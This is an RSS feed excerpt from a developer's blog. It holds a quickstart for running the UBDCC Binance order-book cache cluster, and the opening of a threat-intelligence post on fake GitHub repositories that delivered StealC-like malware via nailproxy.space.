<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-trailing-stop-loss"><strong>UBTSL</strong></a> — trailing stop loss engine. Reads UBDCC for the order book it trails against, places orders via UBRA.</p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-rest-api"><strong>UBRA</strong></a> — REST client for everything that is not market data: account, orders, balances. Pairs naturally with UBDCC for read.</p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-fy"><strong>UnicornFy</strong></a> — raw-payload normalizer. If you read from UBWA directly (rather than via UBLDC/UBDCC), UnicornFy is what gives you uniform Python dicts.</p>
</li>
<li><p><strong>Anything else.</strong> Node.js dashboard, Go execution engine, Rust research tool, C# alerting service — they all read the same trust-aware REST contract. That was the goal from the start.</p>
</li>
</ul>
<hr />
<h2>The point</h2>
<p>The reason this writeup is structured the way it is — Layer 0 to Layer 4 — is not just to tour the stack. The stack is documented in each repo's README. The point is that <strong>trust is not a feature you bolt on</strong>. It only works if every layer preserves it.</p>
<p>If UBWA hides reconnects, UBLDC cannot detect a real Binance gap. If UBLDC silently keeps an out-of-sync book, UBDCC has no honest status to report. If UBDCC returns 200 with stale data on <code>#6000</code>, the consumer's strategy is trading on a lie with a nice HTTP status code. Each layer's job is to either preserve the trust signal or fail loudly enough that the layer above can.</p>
<p>The infrastructure fails loudly. The API contract preserves the signal. The consumer makes an explicit decision instead of accidentally trading on stale state. That is what an order book trust layer is for. Not to make the market safe. To stop your own infrastructure from pretending it knows more than it does.</p>
<hr />
<p>UBDCC, UBLDC, UBWA, UBRA, UBTSL, UnicornFy and the dashboard are all MIT, all on PyPI, all developed in the open. Repos:</p>
<ul>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster">unicorn-binance-depth-cache-cluster</a></p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">unicorn-binance-local-depth-cache</a></p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">unicorn-binance-websocket-api</a></p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/ubdcc-dashboard">ubdcc-dashboard</a></p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-suite">unicorn-binance-suite</a> (umbrella)</p>
</li>
</ul>
<p>Star what is useful. Break what is wrong. Open issues where the contract is unclear. Or drop into the <a href="https://t.me/unicorndevs">unicorndevs Telegram</a>.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[From `pip install` to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart]]></title><description><![CDATA[This is the quickstart.
If you want the architectural “why” behind it — why UBDCC is not just a cache, why #6000 is a trust signal, and how UBWA → UBLDC → UBDCC turns Binance depth streams into an obs]]></description><link>https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart</link><guid isPermaLink="true">https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart</guid><category><![CDATA[binance]]></category><category><![CDATA[Python]]></category><category><![CDATA[trading, ]]></category><category><![CDATA[unicorn-binance-depth-cache-cluster]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Sun, 26 Apr 2026 17:44:30 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/ccc79faa-d213-4696-b024-e2b1e4c95da5.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<blockquote>
<p>This is the quickstart.</p>
<p>If you want the architectural “why” behind it — why UBDCC is not just a cache, why <code>#6000</code> is a trust signal, and how UBWA → UBLDC → UBDCC turns Binance depth streams into an observable trust layer — read the companion deep-dive:</p>
<p><a href="https://blog.technopathy.club/ubdcc-deep-dive-building-a-trust-layer-for-binance-order-books"><strong>UBDCC Deep-Dive: Building a Trust Layer for Binance Order Books</strong></a></p>
</blockquote>
<p>If your goal is simple — <em>“I need a Binance DepthCache and I want it running now”</em> — this is probably the shortest path I know.</p>
<p>With <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster"><strong>UBDCC</strong></a>, you can start live, correctly synchronized Binance DepthCaches in minutes, manage and automate the setup by code or REST, and use the browser dashboard as an additional operational interface with a built-in API Builder.</p>
<p>You do <strong>not</strong> need Kubernetes to start.<br />You do <strong>not</strong> need Redis.<br />You do <strong>not</strong> need PostgreSQL.<br />You do <strong>not</strong> need to build your own cache manager, failover logic, or API layer first.</p>
<p>The local quickstart is really just this:</p>
<pre><code class="language-bash">pip install ubdcc
ubdcc start --dcn 4
ubdcc-dashboard start
</code></pre>
<p>And a few minutes later, you have live Binance DepthCaches running locally.</p>
<p>That is the point of this article.</p>
<p>Not theory.<br />Not architecture for architecture’s sake.<br />Just getting a real Binance DepthCache up and running quickly — and then understanding why the setup is stronger than it looks at first.</p>
<blockquote>
<p><strong>Not a Python developer?</strong></p>
<p>That is fine.</p>
<p>UBDCC is implemented in Python, but once it is running, you use it like a local service over HTTP/JSON.</p>
<p>Your application can stay in Node.js, PHP, Go, Java, Rust, C#, or anything else that can make HTTP requests.</p>
</blockquote>
<p>This is the hands-on quickstart. If you first want the technical background, read these two companion posts:</p>
<ul>
<li><p><a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">Your Binance Order Book Is Wrong — Here's Why</a> — why naive local Binance order books can silently accumulate stale levels.</p>
</li>
<li><p><a href="https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot">Why Your Binance Order Book Should Not Live Inside Your Bot</a> — why shared market-data infrastructure is cleaner than per-bot cache ownership.</p>
</li>
</ul>
<h2>Video walkthrough</h2>
<p>If you prefer to see the full setup once before going through the steps, here is the uncut quickstart video:</p>
<p><a class="embed-card" href="https://youtu.be/o1-nCravKnc">https://youtu.be/o1-nCravKnc</a></p>

<h2>Who this is for</h2>
<p>This is useful if you want a Binance DepthCache for things like:</p>
<ul>
<li><p>trading bots</p>
</li>
<li><p>arbitrage systems</p>
</li>
<li><p>market making</p>
</li>
<li><p>dashboards</p>
</li>
<li><p>alerting</p>
</li>
<li><p>execution services</p>
</li>
<li><p>research tools</p>
</li>
<li><p>mixed-language setups where not everything is written in Python</p>
</li>
</ul>
<p>If you only have one Python process and one local consumer, <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache"><strong>UBLDC</strong></a> may already be enough.</p>
<p>UBDCC is what you reach for when you want more than one in-process cache and do not want to build the rest of the infrastructure yourself.</p>
<h2>What UBDCC is — and what it is not</h2>
<p>UBDCC turns Binance DepthCaches into a running service.</p>
<p>Instead of every script opening its own WebSocket connection, downloading its own snapshot, and maintaining its own copy of the same market, you start UBDCC once and query the DepthCache over HTTP/JSON whenever you need it.</p>
<p>The cluster has three parts:</p>
<ul>
<li><p><strong>mgmt</strong> — the coordinator that keeps cluster state and distributes work</p>
</li>
<li><p><strong>restapi</strong> — the HTTP interface your clients talk to</p>
</li>
<li><p><strong>dcn</strong> — short for <strong>DepthCache Node</strong>, a worker process that actually holds and maintains DepthCaches in memory</p>
</li>
</ul>
<p>A <strong>DCN</strong> is where the real DepthCache work happens.</p>
<p>It fetches snapshots, consumes Binance depth streams, keeps books synchronized, re-syncs when needed, and can hold replicas for failover.</p>
<p>If you remember only one thing:</p>
<blockquote>
<p>A DCN is the part of the cluster where the actual DepthCaches live.</p>
</blockquote>
<p>UBDCC is <strong>not</strong> a trading bot.</p>
<p>It does not place orders, route execution, generate signals, manage portfolios, or decide what to trade. It is the market-data layer underneath those things.</p>
<h2>Why this is useful in practice</h2>
<p>Once a DepthCache is synchronized inside UBDCC, your consumers are no longer pulling fresh Binance snapshots again and again.</p>
<p>They are reading from the cache that is already running in your local cluster.</p>
<p>That gives you some very practical advantages:</p>
<ul>
<li><p>much lower latency than repeatedly going back to Binance REST</p>
</li>
<li><p>far less pressure on Binance rate limits</p>
</li>
<li><p>one running DepthCache can serve many consumers</p>
</li>
<li><p>strategy restarts do not mean rebuilding the whole market view from scratch</p>
</li>
<li><p>you can hit your local cluster as hard as you want without hammering Binance the same way</p>
</li>
</ul>
<p>This is the same architectural shift I describe in more detail here: <a href="https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot">Why Your Binance Order Book Should Not Live Inside Your Bot</a></p>
<p>That is the practical value.</p>
<p>The “shared service” part is not the first thing the user wants.<br />The first thing the user wants is a Binance DepthCache that is up, correct, fast, and usable.</p>
<p>UBDCC just happens to solve the rest at the same time.</p>
<h2>Step 1 — Install Python if needed</h2>
<p>UBDCC is distributed as a Python package, so the machine that runs it needs Python 3.9 or newer.</p>
<p>That does <strong>not</strong> mean your own application has to be written in Python.</p>
<p>If you are a Node.js, PHP, Go, Java, Rust, or C# developer, think of Python here as a one-time runtime dependency: install it once, start UBDCC, and then use the running service over HTTP/JSON from your own stack.</p>
<p>Check whether Python is already available:</p>
<pre><code class="language-bash">python3 --version
</code></pre>
<p>On Windows, if Python is missing, download and install it once from python.org.</p>
<p>Optional but recommended:</p>
<pre><code class="language-bash">python3 -m venv ubdcc-env
source ubdcc-env/bin/activate
# Windows:
# ubdcc-env\Scripts\activate
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/044b8038-22e0-4a42-b258-4d9b3a0c6684.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 2 — Install UBDCC</h2>
<pre><code class="language-bash">python3 -m pip install ubdcc
</code></pre>
<p>That one package gives you the cluster components and the dashboard.</p>
<p>For the local quickstart, there is no long dependency story and no separate UI installation dance.</p>
<p>Install once and move on.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/4a73cc74-5602-4fbf-aa24-9f2d59051fad.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 3 — Start the cluster</h2>
<pre><code class="language-bash">ubdcc start --dcn 4
</code></pre>
<p>This gives you:</p>
<ul>
<li><p>1 management process</p>
</li>
<li><p>1 REST API process</p>
</li>
<li><p>4 DCNs</p>
</li>
</ul>
<p>That is already enough to get real Binance DepthCaches running locally with redundancy and failover potential.</p>
<p>After startup, note the REST endpoint, usually:</p>
<pre><code class="language-text">http://127.0.0.1:42081/
</code></pre>
<p>A setup that would normally take a fair amount of engineering work is available here as a package, a CLI, a REST API, and an optional browser dashboard.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f0ecdcfb-c8bf-4fc7-b418-779a518518f2.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 4 — Open the dashboard</h2>
<p>In a second terminal:</p>
<pre><code class="language-bash">ubdcc-dashboard start
</code></pre>
<p>By default, the dashboard binds to <code>127.0.0.1:8080</code> and opens in your browser.</p>
<p>Connect it to:</p>
<pre><code class="language-text">http://127.0.0.1:42081
</code></pre>
<p>The dashboard is optional, but it makes the first-run experience much easier and comes with a built-in API Builder for quick multi-language onboarding.</p>
<p>You can see nodes, markets, replicas, credentials, sync state, and generated API calls. That is why it matters so much: it turns a DepthCache cluster into something you can inspect and operate immediately.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/38c5c7a5-6bf6-4892-8d7e-ccb89da88e0a.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e1623753-de9a-445d-a4e8-f5ef66277a2a.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/2cd9aeb0-79a0-4969-a5f5-46e6dd0775c4.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f28fa5cb-c46a-4b55-aa2f-0b46de9bc88c.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/14882bbf-34c1-423d-a267-f710cfb0e7ba.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 5 — Add credentials if needed</h2>
<p>For pure Spot mainnet markets, you do <strong>not</strong> need credentials.</p>
<p>Credentials become relevant for some other Binance environments, some snapshot flows, and for getting more headroom where authenticated rate limits apply.</p>
<p>You can handle that through the dashboard or directly through code / REST.</p>
<p>In the dashboard:</p>
<ul>
<li><p>click <strong>Credentials</strong></p>
</li>
<li><p>choose the account group</p>
</li>
<li><p>add an API key / secret pair</p>
</li>
</ul>
<p>The cluster can then distribute credential assignments across nodes.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/42323883-b37a-4792-b156-18e865330e61.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 6 — Create DepthCaches with replicas</h2>
<p>Now create your first markets.</p>
<p>You can do this through the dashboard, through code, or directly through REST.</p>
<p>In the dashboard:</p>
<ul>
<li><p>click <strong>DepthCaches</strong></p>
</li>
<li><p>choose an exchange such as <code>binance.com</code></p>
</li>
<li><p>add symbols like <code>BTCUSDT</code>, <code>ETHUSDT</code>, <code>BNBUSDT</code></p>
</li>
<li><p>set <strong>Replicas</strong> to <code>2</code> or <code>3</code></p>
</li>
<li><p>create them</p>
</li>
</ul>
<p>This is the moment where the setup usually gets its first “okay, that is actually cool” reaction.</p>
<p>You are not creating one local cache in one process.</p>
<p>You are creating <strong>running Binance DepthCaches</strong> that are:</p>
<ul>
<li><p>synchronized</p>
</li>
<li><p>visible</p>
</li>
<li><p>replicated if you want</p>
</li>
<li><p>ready to query over REST</p>
</li>
</ul>
<p>Watch the tiles after creation.</p>
<p>They should move into a synchronized state. That is one of the strongest parts of the dashboard: it does not just show that a cache exists, it shows whether it is actually ready to trust.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/8b40d86b-32d3-4f7e-afff-fa39906cc977.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/6d4b1264-bab4-44d8-b7de-5f10393f4cc2.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/3cd0362b-eeb9-4874-8732-995cee0fd938.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7370fc3f-80de-4c5a-9f51-3a2727559acf.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e9118bec-87ff-4a7d-94d7-180bced083ac.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/ef807ddd-e224-4c29-9f6a-ea5d633fb45e.png" alt="" style="display:block;margin:0 auto" />

<p>The replicas are intentionally started with a slight delay. After a few minutes, they should all be in sync:</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/4c8b3e41-407b-4d9a-a6bf-dab40c969c82.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/c2ec65c5-473e-4790-94de-2af71d1af37f.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 7 — Kill a node and watch failover happen</h2>
<p>Now for the part that makes the architecture feel real.</p>
<p>Create at least one market with replica count <code>3</code>.</p>
<p>Then:</p>
<ol>
<li><p>open the <strong>DCNs</strong> tab in the dashboard</p>
</li>
<li><p>find a DCN that hosts that market</p>
</li>
<li><p>copy the DCN name</p>
</li>
<li><p>go back to the operator console</p>
</li>
<li><p>remove that DCN by name</p>
</li>
</ol>
<p>Example:</p>
<pre><code class="language-text">ubdcc&gt; remove-dcn &lt;dcn-name&gt;
</code></pre>
<p>What should happen:</p>
<ul>
<li><p>the node disappears</p>
</li>
<li><p>replica count temporarily drops</p>
</li>
<li><p>the scheduler redistributes work</p>
</li>
<li><p>a new replica comes up</p>
</li>
<li><p>the market remains available through another replica</p>
</li>
</ul>
<p>That is the difference between “I have a cache” and “I have a cache that survives node loss”.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f1f2420c-d47d-45cc-a9fe-2dc2d1ee7083.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/fa868a44-d74c-4f21-ae72-ba85e60ee594.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/c89f0a86-3338-4853-8b23-c63fb4a34892.png" alt="" style="display:block;margin:0 auto" />

<h2>Step 8 — Query the DepthCache over REST</h2>
<p>Before touching application code, test from the shell.</p>
<pre><code class="language-bash">curl 'http://127.0.0.1:42081/get_asks?exchange=binance.com&amp;market=BTCUSDT&amp;limit_count=5'
</code></pre>
<p>Or with HTTPie:</p>
<pre><code class="language-bash">http GET 'http://127.0.0.1:42081/get_asks?exchange=binance.com&amp;market=BTCUSDT&amp;limit_count=5'
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/47307998-6cd0-490b-9208-2ef3566d64ba.png" alt="" style="display:block;margin:0 auto" />

<p>This is where the practical benefit becomes obvious.</p>
<p>You can hammer the local cluster with reads as much as you want.</p>
<p>Your consumers are no longer going back to Binance for fresh snapshots over and over again. They are reading from the synchronized DepthCache that UBDCC is already maintaining.</p>
<p>That is faster, easier on rate limits, and especially useful once several bots, dashboards, and services all need the same market view at the same time.</p>
<p>If you want to see how this idea behaves once moved from a local quickstart to Kubernetes, I later ran a larger stress test:
<a href="https://blog.technopathy.club/i-created-2013-binance-order-books-on-kubernetes-with-2-replicas-in-25-minutes-then-stress-tested-the-rest-api">I Created 2013 Binance Order Books on Kubernetes with 2 Replicas in 25 Minutes — Then Stress-Tested the REST API</a></p>
<p>In that follow-up, I created 2013 Binance Spot and Futures markets with 2 replicas each — 4026 replicated DepthCaches in total — on six low-cost Vultr Kubernetes nodes and then tested the REST API with Grafana Cloud k6.</p>
<h2>Step 9 — Generate client code for your language</h2>
<p>Now open the <strong>API Builder</strong> in the dashboard.</p>
<p>This is one of the strongest parts of the whole setup.</p>
<p>The dashboard can generate snippets for:</p>
<ul>
<li><p>curl</p>
</li>
<li><p>HTTPie</p>
</li>
<li><p>Python</p>
</li>
<li><p>JavaScript</p>
</li>
<li><p>Go</p>
</li>
<li><p>C#</p>
</li>
<li><p>Java</p>
</li>
<li><p>Rust</p>
</li>
<li><p>PHP</p>
</li>
<li><p>C/C++</p>
</li>
</ul>
<p>So if your stack is mixed, the onboarding flow becomes very simple:</p>
<ul>
<li><p>create the DepthCaches once</p>
</li>
<li><p>query them from any language</p>
</li>
<li><p>copy the snippet</p>
</li>
<li><p>paste it into your project</p>
</li>
</ul>
<p>That is exactly how a system like this becomes useful outside one developer’s Python process.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/94a2a76b-161a-4b8c-9d6e-29f577c61d4b.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/7f026979-386f-4ac1-95dc-3717acd159cf.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/70c30e19-5bdd-48cb-b908-c956d89da465.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/6507d516-d30f-4a5d-86c2-f76d7974c979.png" alt="" style="display:block;margin:0 auto" />

<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/6d4afc7a-f40b-4763-a493-8961c2a282d8.png" alt="" style="display:block;margin:0 auto" />

<h2>Simple Python example</h2>
<p>Python users can go two ways.</p>
<h3>Raw HTTP</h3>
<pre><code class="language-python">import requests

response = requests.get(
    "http://127.0.0.1:42081/get_asks",
    params={
        "exchange": "binance.com",
        "market": "BTCUSDT",
        "limit_count": 5
    },
    timeout=10
)

print(response.json())
</code></pre>
<h3>Official cluster client</h3>
<p>If you already live in the UNICORN Binance world, you can also use the official cluster-aware client path instead of raw HTTP.</p>
<p>That gives Python users a smooth migration path from local caches to shared cluster-backed access.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/22cc4df2-6ff4-4e07-8d28-46c387a201a9.png" alt="" style="display:block;margin:0 auto" />

<h2>Related projects</h2>
<p>If you want to go deeper into the stack:</p>
<ul>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache"><strong>UBLDC</strong></a> — standalone local DepthCaches for single-process Python use and the UBDCC python client</p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api"><strong>UBWA</strong></a> — Binance WebSocket layer underneath the stack</p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-trailing-stop-loss"><strong>UBTSL</strong></a> — trailing stop-loss engine from the same suite</p>
</li>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-suite"><strong>UNICORN Binance Suite</strong></a> — the umbrella project</p>
</li>
</ul>
<h2>Final thoughts</h2>
<p>The nice thing about UBDCC is that it starts simple.</p>
<p>You come for a working Binance DepthCache.</p>
<p>What you also get is:</p>
<ul>
<li><p>correct synchronization</p>
</li>
<li><p>explicit cache state</p>
</li>
<li><p>replicas</p>
</li>
<li><p>failover</p>
</li>
<li><p>browser management</p>
</li>
<li><p>multi-language access</p>
</li>
<li><p>fast local startup</p>
</li>
<li><p>room to scale later</p>
</li>
</ul>
<p>That is a lot to get from a <code>pip install</code>.</p>
<p>Related background:</p>
<ul>
<li><p><a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">Your Binance Order Book Is Wrong — Here's Why</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot">Why Your Binance Order Book Should Not Live Inside Your Bot</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/i-created-2013-binance-order-books-on-kubernetes-with-2-replicas-in-25-minutes-then-stress-tested-the-rest-api">I Created 2013 Binance Order Books on Kubernetes with 2 Replicas in 25 Minutes — Then Stress-Tested the REST API</a> — how the same idea behaves at Kubernetes scale with 4026 replicated DepthCaches and Grafana Cloud k6 load tests.</p>
</li>
</ul>
<p>If you want to try it:</p>
<ul>
<li><p><strong>UBDCC:</strong> <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster">https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster</a></p>
</li>
<li><p><strong>UBDCC Dashboard:</strong> <a href="https://github.com/oliver-zehentleitner/ubdcc-dashboard">https://github.com/oliver-zehentleitner/ubdcc-dashboard</a></p>
</li>
<li><p><strong>Telegram:</strong> <a href="https://t.me/unicorndevs">https://t.me/unicorndevs</a></p>
</li>
</ul>
<p>If something in this guide is unclear, missing, or does not work in your setup, please post it in the comments.</p>
<p>I am happy about constructive feedback, real-world test results, error reports, edge cases, and improvement ideas. If something is useful for others too, I will try to pick it up and improve the article accordingly.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[From a coffee-in-bed Google search to a StealC-linked campaign — the story behind nailproxy.space]]></title><description><![CDATA[TL;DR: Someone set up 19 fake GitHub repos across 17 distinct accounts*, impersonating popular Python open-source projects — including my own UNICORN Binance Suite. Each repo carried a small Python dr]]></description><link>https://blog.technopathy.club/from-a-coffee-in-bed-google-search-to-a-stealc-linked-campaign-the-story-behind-nailproxy-space</link><guid isPermaLink="true">https://blog.technopathy.club/from-a-coffee-in-bed-google-search-to-a-stealc-linked-campaign-the-story-behind-nailproxy-space</guid><category><![CDATA[Security]]></category><category><![CDATA[Malware]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[threat intelligence]]></category><category><![CDATA[stealer]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Thu, 23 Apr 2026 14:36:10 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/4ff0f957-5ffb-47df-8999-301215143938.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>TL;DR: Someone set up</em> <em><strong>19 fake GitHub repos across 17 distinct accounts</strong></em>*, impersonating popular Python open-source projects — including my own UNICORN Binance Suite. Each repo carried a small Python dropper that contacted* <code>api.nailproxy.space</code><em>, retrieved a native Windows loader, and ultimately deployed a payload</em> <em><strong>consistent with StealC v2</strong></em>*, including Chrome App-Bound Encryption bypass behavior. When I first wrote about the fake repositories, the* <em><strong>GitHub delivery chain</strong></em> <em>behind them was still undocumented in public reporting. This post covers how I found it, what the malware chain does, and what to do if you ran any of the affected repos.</em></p>
<blockquote>
<p><strong>Update (2026-04-23):</strong></p>
<ul>
<li><p>19 fake GitHub repos confirmed across 17 accounts</p>
</li>
<li><p><code>nailproxy.space</code> identified as the delivery-domain root; <code>api.nailproxy.space</code> operated as delivery C2</p>
</li>
<li><p>final-stage payload behavior consistent with StealC v2</p>
</li>
<li><p>GitHub takedown requested</p>
</li>
<li><p>IOCs submitted to ThreatFox/AlienVault and published into the public threat-intelligence ecosystem</p>
</li>
</ul>
</blockquote>
<hr />
<h2>How it started</h2>
<p>A few weeks ago I was doing some basic SEO work for my UBS projects.</p>
<p>On a Wednesday morning, still in bed with coffee, I did something most open-source maintainers have probably done at some point: I searched Google for my own project name — in this case, “unicorn binance websocket api” — just to see what showed up.</p>
<p>One of the top results was not mine.</p>
<p>The repository name and description were close enough to my project to be immediately noticeable, but it was not pretending to be my exact repository. It presented itself as a CLI-style wrapper built on top of UBWA.</p>
<p>What triggered the closer look was the social proof.</p>
<p>The repository was only about a month old, had <strong>zero issues</strong>, <strong>zero pull requests</strong>, and almost no visible community activity — yet it had already accumulated <strong>more stars than my actual project</strong>. The fork count also looked suspiciously high, and the overall relationship between age, activity, stars, and forks did not look organic.</p>
<p>That was the point where this stopped looking like a strange third-party wrapper and started looking like something deceptive. Once I started reading the code, it became obvious that this was not just opportunistic naming — it was malicious.</p>
<p>That was the beginning of the rabbit hole.</p>
<p>The initial write-up went up the next day:</p>
<ul>
<li><a href="https://blog.technopathy.club/nailproxy-space-github-malware-campaign">nailproxy.space: A Multi-Repository GitHub Malware Campaign</a></li>
</ul>
<p>At that point I had already confirmed a set of fake repositories and filed a GitHub report. What I did <strong>not</strong> know yet was what the malware chain actually did after the victim ran the code.</p>
<p>This post is about that part — and about the second question that naturally followed once the first one was answered:</p>
<blockquote>
<p>What else is this operator doing, and how much of this campaign is actually visible?</p>
</blockquote>
<p>One point is worth stating precisely from the beginning: the <strong>GitHub delivery chain</strong> was undocumented before this analysis. That does <strong>not</strong> mean every backend component was unknown. One of the later-stage infrastructure elements — <code>62.60.226.113</code> — had already been tagged individually on ThreatFox as StealC-related infrastructure in December 2025. What had <strong>not</strong> been documented publicly was the connection between that backend and this specific fake-repository delivery chain, or the role of <code>nailproxy.space</code> within it.</p>
<hr />
<h2>The two questions</h2>
<p>By the time I sat down to work through this properly, there were two concrete questions I wanted answered:</p>
<ol>
<li><p><strong>What does the malware actually do on a victim machine?</strong><br />It is one thing to say “this is malicious.” It is another to tell affected developers exactly which credentials, sessions, wallets, and tokens they should now assume are compromised.</p>
</li>
<li><p><strong>How large is the operation behind it?</strong><br />The fake GitHub repos were the visible part. I wanted to know whether they were the entire campaign or just one delivery channel for something bigger.</p>
</li>
</ol>
<p>Both questions turned out to be answerable.</p>
<hr />
<h2>A quick note on resources</h2>
<p>Before the technical part, one thing is worth saying clearly: I did this on a personal-developer budget, not on a commercial threat-intel budget.</p>
<p>That meant leaning on free tiers and public services where possible, and accepting that some pivots and sample sources would simply be out of reach. A well-equipped threat-intel team could probably have moved faster and pulled in more data from premium services. But most of what follows was still reproducible with public tooling, free APIs, and a few focused hours.</p>
<p>The services that mattered most were:</p>
<ul>
<li><p><strong>VirusTotal</strong> — for hashes, domains, IP metadata, sample upload, and especially the per-sandbox behavior views</p>
</li>
<li><p><strong>abuse.ch (ThreatFox / MalwareBazaar / URLhaus)</strong> — for IOC correlation and public malware context</p>
</li>
<li><p><strong>AlienVault</strong> — for IOC correlation and public malware context</p>
</li>
<li><p><strong>Hybrid Analysis</strong> — for metadata on dropped files and cross-sample visibility</p>
</li>
<li><p><strong>Shodan</strong> — useful in limited ways even on the free tier</p>
</li>
<li><p><strong>GitHub code search</strong> — essential for scoping the public-facing repository cluster</p>
</li>
<li><p><strong>crt.sh</strong> — for certificate-transparency pivots</p>
</li>
</ul>
<p>And yes, <strong>AI-assisted analysis</strong> played a real role throughout.</p>
